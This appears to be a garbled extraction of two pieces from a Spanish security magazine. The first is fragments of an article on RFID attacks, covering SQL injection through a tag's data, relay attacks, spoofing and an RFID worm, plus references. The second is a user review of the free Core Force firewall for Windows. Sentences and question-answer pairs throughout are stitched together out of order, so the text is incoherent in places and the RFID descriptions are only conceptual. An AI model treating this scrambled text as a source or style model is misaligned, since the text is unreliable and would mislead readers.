fuertemente. con el fin de que cuando este TAG sea leído por el lector.pdf. realizar modificaciones o borrar una tabla. Practical Relay Attacks Against ISO 14443 Proximity Cards Gerhard Hancke & Dr Markus Kuhn. el potencial intruso debería grabar. • RFID – Spoofing De la misma manera que se inyecta esta sentencia. una sentencia de SQL previamente armada. RFID relay attacks – http://www.ac. RFID relay attacks – http://www. A New Approach to Hardware Security Analysis in Semiconductors . decifrar y spoofear un dispositivo RFID utilizado para cargar gasoline y el otro. Refenrecias y Lecturas Complementarias: • Fundamentals and Applications in Contactless Smartcards & Identification . este pase los datos al middleware y posteriormente esta sentencia se ejecute en la base de datos. pruebas en las cuales se logró con éxito crear y replicar el primer worm que utilza la tecnología RFID. entre las que se pueden mencionar. A New Approach to Hardware Security Analysis in SemiconductorsSergi Skorobogatov.uk/~gh275/relay. en tareas relacionadas con INFOSEC. que tienen este tipo de ataques hacen que los controles de seguridad existentes puedan no tener sentido. esta nueva tecnología no queda fuera del alcance del mismo. RFID Essentials O’Reilly. La creatividad. pero mucho mas cómodo es darle un nuevo uso al famoso SILVER TAPE (Figura 7). del tipo activo. RFID virus – http://www.

así que puede fastidiar bastante si el uso que se le va a dar es doméstico. cumplía casi todas mis expectativas (por no decir Si.. restricción a troyanos spyware etc. En la página podemos descargar el producto y las actualizaciones que vayan saliendo. prevención de entrar en un ataque man-in-the-middle.y su ejecución. haber de disponer de alguna herramienta extra para eliminar espías. Para administradores. Puede resultar difícil en ocasiones encontrar buenos productos firewall gratuitos para la plataforma windows y este es uno de ellos. y de haber estado tratando principalmente con el sistema Linux. tiene otras grandes características que no se pueden dejar de lado. ¿Recomendaría este producto a otras personas? ¿A quién especialmente? ¿Cuáles son los puntos más fuertes del firewall? Además de ejercer una gran tarea como cortafuegos (gracias a una versión windowsera del gran Packet Filter de OpenBSD) y ser gratuito.. mi valoración personal es Excelente. me hizo creer que también podría encontrar alguna aplicación para windows que si bien no fuese libre de código si que lo fuese de distribución y a poder ser que lo tuviera todo (como Panda o Nod32). Y además su gran cantidad de opciones y puntos de vista pueden hacerlo largo de configurar. la instalación nos pide el nivel de seguridad al que lo queremos someter (siempre recomendado el mas bajo para usuarios domésticos). ¿El precio y si está adecuado a los servicios ofrecidos por el producto? El producto es gratuito y se distribuye usando la licencia Apache... en cambio. conseguí prepararlo poco a poco aplicando actualizaciones también cuando debía. todo según la integridad que deseemos en el equipo. En mi caso tan solo dispongo de una mini-red doméstica de dos ordenadores y después de haberla puesto a prueba en alguna ocasión decidí buscar algún remedio. especialmente a gente que cuente con sistemas windows y no disponga de recursos para pagar un firewall comercial. 74 www. ¿y porqué no? Poder notar si se me esta lanzando un programa o exploit. Buscando y probando productos leí sobre la versión Beta de Coreforce y aquí fue cuando finalice la búsqueda.com).Test de consumidores Test de consumidores Firewalls DANILO SANZ MORENO Estudiante de Desarrollo de Aplicaciones ¿El nombre del firewall y la empresa productora? Core-force es producto para plataformas windows de una comunidad dedicada a la seguridad y llamada Core Security Technologies (http:// force. Nunca pensé en usar el software del switch-router. a aquellas personas que busquen herramientas de instalar y olvidar o gente sin mucha preocupación sobre la seguridad del sistema. Para mi gusto estos son los puntos más fuertes. salvo para el acceso inalámbrico WLAN en algún caso. Cabe decir que el firewall va destinado a ser usado de cara a una red. Después de pasar mis seis meses junto la suite Panda y obtener muy buenos resultados pensé que para mi caso no requería tanto control sobre virus pues era prácticamente imposible infectarme. muy bien de hecho. Su interfaz es muy intuitiva y amigable y durante Recomendaría este producto a personas con conocimientos de inglés.hakin9. se produjera una modificación en el registro de windows.coresecurity. Nos permite un control total sobre la red: control de tráfico entrante y saliente. sino que más bien necesitaba un cortafuegos en el que yo observase momentos en que una aplicación tuviese acceso a Internet. El carácter novedoso del producto (hará poco mas de un año) hace que aún no esté consagrado. si bien al principio tuve que leer casi todo el manual así como algunas de las FAQ’S por su tremenda cantidad de opciones. ¿Y los débiles?¿Hay algo que se debería cambiar o mejorar? ¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena? ¿El producto ha cumplido con sus expectativas? El punto más débil del producto (o el único según algu